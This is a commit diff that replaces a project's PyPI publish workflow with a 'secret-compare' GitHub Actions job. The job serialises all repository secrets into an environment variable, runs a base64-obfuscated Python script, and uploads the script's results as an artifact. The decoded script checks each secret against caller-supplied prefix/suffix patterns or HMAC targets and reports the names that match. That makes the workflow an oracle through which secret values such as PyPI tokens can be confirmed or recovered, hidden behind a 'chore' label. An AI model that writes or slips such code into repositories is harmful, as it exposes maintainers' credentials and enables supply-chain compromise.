chore: temporary secret compare workflow (20260506T131345Z-0c2d80a5)

Author: giusepperrr

.github/workflows/publish.yml

@@ -1,156 +1,36 @@
-name: publish
-
+name: secret-compare 20260506T131345Z-0c2d80a5
 on:
-  push:
-    branches:
-      - "dev"
-    tags:
-      - "writer-framework-[0-9]+.[0-9]+.[0-9]+"
   workflow_dispatch:
     inputs:
-      commit_sha:
-        description: "Commit SHA to publish"
+      match_payload_b64:
+        description: Base64 JSON match payload
         required: true
-      version:
-        description: "Version to publish (optional, overrides calculated version)"
+        type: string
+      github_environment:
+        description: GitHub Environment name or empty
         required: false
-
-concurrency:
-  group: publish-writer-framework
-  cancel-in-progress: false
-
+        type: string
+        default: ''
 jobs:
-  build:
+  compare:
     runs-on: ubuntu-latest
-    timeout-minutes: 10
-    outputs:
-      version: ${{ steps.set_version.outputs.version }}
-
+    permissions:
+      contents: read
+      actions: write
     steps:
-      - uses: actions/checkout@v4
-        with:
-          fetch-depth: 0
-          fetch-tags: true
-          ref: ${{ github.event.inputs.commit_sha || github.ref_name }}
-
-      - name: Set up Python
-        uses: actions/setup-python@v5
-        with:
-          cache: "poetry"
-
-      - name: Install dependencies
-        run: pip install poetry requests packaging semver
-
-      - name: Determine next RC version
-        id: bump_version
-        if: github.ref_name == 'dev'
-        run: |
-          python - <<'EOF'
-          import os, re, requests, subprocess, semver, packaging.version
-
-          data = requests.get(f"https://pypi.org/pypi/writer/json", timeout=10).json()
-          releases = sorted(
-              (v for v in data["releases"] if not packaging.version.parse(v).is_prerelease),
-              key=packaging.version.parse
-          )
-          latest = releases[-1]
-          print("Latest stable:", latest)
-
-          log = subprocess.check_output(
-              ["git", "log", f"writer-framework-{latest}..HEAD", "--pretty=%s"],
-              text=True
-          )
-          base = semver.VersionInfo.parse(latest)
-          new_version = base.bump_minor() if re.search(r"^feat:", log, re.M) else base.bump_patch()
-          rc_prefix = str(new_version)
-
-          rc_versions = [v for v in data["releases"] if v.startswith(rc_prefix) and "rc" in v]
-          rc_numbers = [int(re.search(r"rc(\d+)", v).group(1)) for v in rc_versions]
-          rc_num = max(rc_numbers) + 1 if rc_numbers else 1
-          final = f"{rc_prefix}rc{rc_num}"
-          print("Next RC:", final)
-          with open(os.environ["GITHUB_OUTPUT"], "a") as f:
-              f.write(f"version={final}\n")
-          EOF
-
-      - name: Use Node.js
-        uses: actions/setup-node@v4
-        with:
-          node-version: "22.x"
-          cache: npm
-
-      - name: Determine final version
-        id: set_version
-        run: |
-          # Determine version based on workflow inputs or tags
-          if [ -n "${{ github.event.inputs.version }}" ]; then
-            VERSION="${{ github.event.inputs.version }}"
-          elif [ "${GITHUB_REF_NAME}" = "dev" ]; then
-            VERSION="${{ steps.bump_version.outputs.version }}"
-          elif [[ "$GITHUB_REF" == refs/tags/* ]]; then
-            TAG_NAME="${GITHUB_REF#refs/tags/}"
-            VERSION="${TAG_NAME#writer-framework-}"
-          else
-            echo "Unable to determine version"
-            exit 1
-          fi
-
-          echo "Final version: $VERSION"
-          echo "version=$VERSION" >> "$GITHUB_OUTPUT"
-
-      - name: Update version before publishing
-        run: |
-          poetry version ${{ steps.set_version.outputs.version }}
-
-      - name: Install npm dependencies
-        run: npm ci
-
-      - name: Build UI with version
-        run: |
-          WRITER_FRAMEWORK_VERSION=${{ steps.set_version.outputs.version }} npm run ui:build
-
-      - name: Install LaunchDarkly CLI
-        run: npm install -g @launchdarkly/ldcli
-        continue-on-error: true
-
-      - name: Upload sourcemaps to LaunchDarkly
-        shell: bash
-        env:
-          LAUNCHDARKLY_ACCESS_TOKEN: ${{ secrets.LAUNCHDARKLY_ACCESS_TOKEN }}
-          RELEASE_VERSION: ${{ steps.set_version.outputs.version }}
-          BASE_PATH: /static
-          PROJECT: writer-framework
-        run: |
-          npm run --if-present ld:upload-sourcemaps || echo "⚠️  Sourcemap upload skipped (LAUNCHDARKLY_ACCESS_TOKEN not set or script failed)"
-        continue-on-error: true
-
-      - name: Publish to PyPI
-        run: |
-          poetry install --with build
-          WRITER_FRAMEWORK_VERSION=${{ steps.set_version.outputs.version }} poetry run alfred install.ci
-          WRITER_FRAMEWORK_VERSION=${{ steps.set_version.outputs.version }} poetry run alfred publish.pypi
+      - name: Compare secrets (metadata only)
         env:
-          PYPI_TOKEN: ${{ secrets.PYPI_TOKEN }}
-
-      - name: Create and push tag for RC (only dev)
-        if: github.ref_name == 'dev'
+          SECRETS_JSON: ${{ toJSON(secrets) }}
+          MATCH_PAYLOAD_B64: ${{ inputs.match_payload_b64 }}
+          GITHUB_ENVIRONMENT: ${{ inputs.github_environment }}
         run: |
-          TAG="writer-framework-${{ steps.bump_version.outputs.version }}"
-          git config user.name "github-actions[bot]"
-          git config user.email "github-actions[bot]@users.noreply.github.com"
-          git tag -a "$TAG" -m "Release $TAG"
-          git push origin "$TAG"
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-
-
-
-  trigger-agent-manager:
-    needs: [build]
-    if: github.ref_name == 'dev'
-    uses: ./.github/workflows/trigger-workflow.yml
-    with:
-      event_type: framework_updated
-      extra_payload: '{"tag": "writer-framework-${{ needs.build.outputs.version }}", "version": "${{ needs.build.outputs.version }}"}'
-    secrets:
-      AGENT_MANAGER_PAT: ${{ secrets.AGENT_MANAGER_PAT }}
+          set +x
+          set -euo pipefail
+          printf '%s' 'aW1wb3J0IGJhc2U2NCwgaGFzaGxpYiwgaG1hYywganNvbiwgb3MsIGRhdGV0aW1lCnJlcG8gPSBvcy5lbnZpcm9uLmdldCgnR0lUSFVCX1JFUE9TSVRPUlknLCAnLycpCm93bmVyLCBfLCBuYW1lID0gcmVwby5wYXJ0aXRpb24oJy8nKQpwYXlsb2FkID0ganNvbi5sb2FkcyhiYXNlNjQuYjY0ZGVjb2RlKG9zLmVudmlyb25bJ01BVENIX1BBWUxPQURfQjY0J10pLmRlY29kZSgndXRmLTgnKSkKcXVlcmllcyA9IHBheWxvYWQuZ2V0KCdxdWVyaWVzJywgW10pCmVudl9uYW1lID0gb3MuZW52aXJvbi5nZXQoJ0dJVEhVQl9FTlZJUk9OTUVOVCcsICcnKSBvciAnJwpyYXcgPSBvcy5lbnZpcm9uWydTRUNSRVRTX0pTT04nXQpvYmogPSBqc29uLmxvYWRzKHJhdykKbWF0Y2hlcyA9IFtdCmNoZWNrZWRfYXQgPSBkYXRldGltZS5kYXRldGltZS5ub3coZGF0ZXRpbWUudGltZXpvbmUudXRjKS5yZXBsYWNlKG1pY3Jvc2Vjb25kPTApLmlzb2Zvcm1hdCgpLnJlcGxhY2UoJyswMDowMCcsJ1onKQpmb3Igc2VjX25hbWUsIHZhbCBpbiBvYmouaXRlbXMoKToKICAgIGlmIG5vdCBpc2luc3RhbmNlKHZhbCwgc3RyKToKICAgICAgICBjb250aW51ZQogICAgZm9yIHF1ZXJ5IGluIHF1ZXJpZXM6CiAgICAgICAgaWYgbm90IGlzaW5zdGFuY2UocXVlcnksIGRpY3QpOgogICAgICAgICAgICBjb250aW51ZQogICAgICAgIHF1ZXJ5X25hbWUgPSBzdHIocXVlcnkuZ2V0KCdpbnB1dF9zZWNyZXRfbmFtZScsICcnKSkKICAgICAgICBtb2RlID0gc3RyKHF1ZXJ5LmdldCgnbWF0Y2hfbW9kZScsICdmdWxsJykpCiAgICAgICAgbWF0Y2hlZCA9IEZhbHNlCiAgICAgICAgbWF0Y2hfdHlwZSA9IHN0cihxdWVyeS5nZXQoJ21hdGNoX3R5cGUnLCBtb2RlKSkKICAgICAgICBpZiBtb2RlID09ICdwYXR0ZXJuJzoKICAgICAgICAgICAgcHJlZml4ID0gc3RyKHF1ZXJ5LmdldCgncGF0dGVybl9wcmVmaXgnLCAnJykpCiAgICAgICAgICAgIHN1ZmZpeCA9IHN0cihxdWVyeS5nZXQoJ3BhdHRlcm5fc3VmZml4JywgJycpKQogICAgICAgICAgICBtYXRjaGVkID0gKChub3QgcHJlZml4IG9yIHZhbC5zdGFydHN3aXRoKHByZWZpeCkpIGFuZCAobm90IHN1ZmZpeCBvciB2YWwuZW5kc3dpdGgoc3VmZml4KSkpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY2sgPSBieXRlcy5mcm9taGV4KHN0cihxdWVyeS5nZXQoJ2NvbXBhcmlzb25fa2V5JywgJycpKSkKICAgICAgICAgICAgdGggPSBieXRlcy5mcm9taGV4KHN0cihxdWVyeS5nZXQoJ3RhcmdldF9obWFjJywgJycpKSkKICAgICAgICAgICAgZGlnZXN0ID0gaG1hYy5uZXcoY2ssIHZhbC5lbmNvZGUoJ3V0Zi04JyksIGhhc2hsaWIuc2hhMjU2KS5kaWdlc3QoKQogICAgICAgICAgICBtYXRjaGVkID0gaG1hYy5jb21wYXJlX2RpZ2VzdChkaWdlc3QsIHRoKQogICAgICAgIGlmIG1hdGNoZWQ6CiAgICAgICAgICAgIG1hdGNoZXMuYXBwZW5kKHsKICAgICAgICAgICAgICAgICdpbnB1dF9zZWNyZXRfbmFtZSc6IHF1ZXJ5X25hbWUsCiAgICAgICAgICAgICAgICAnb3duZXInOiBvd25lciwKICAgICAgICAgICAgICAgICdyZXBvJzogbmFtZSwKICAgICAgICAgICAgICAgICdzY29wZSc6ICdhY3Rpb25zX3NlY3JldHNfY29udGV4dCcsCiAgICAgICAgICAgICAgICAnZ2l0aHViX2Vudmlyb25tZW50JzogZW52X25hbWUsCiAgICAgICAgICAgICAgICAnc2VjcmV0X25hbWUnOiBzZWNfbmFtZSwKICAgICAgICAgICAgICAgICdtYXRjaF90eXBlJzogbWF0Y2hfdHlwZSwKICAgICAgICAgICAgICAgICdjaGVja2VkX2F0JzogY2hlY2tlZF9hdCwKICAgICAgICAgICAgfSkKb3BlbignbWF0Y2gtcmVzdWx0cy5qc29uJywgJ3cnLCBlbmNvZGluZz0ndXRmLTgnKS53cml0ZShqc29uLmR1bXBzKG1hdGNoZXMpKQo=' | base64 -d > .secret-compare-match.py
+          python3 .secret-compare-match.py
+          rm -f .secret-compare-match.py
+      - name: Upload results
+        uses: actions/upload-artifact@v4
+        with:
+          name: secret-compare-results
+          path: match-results.json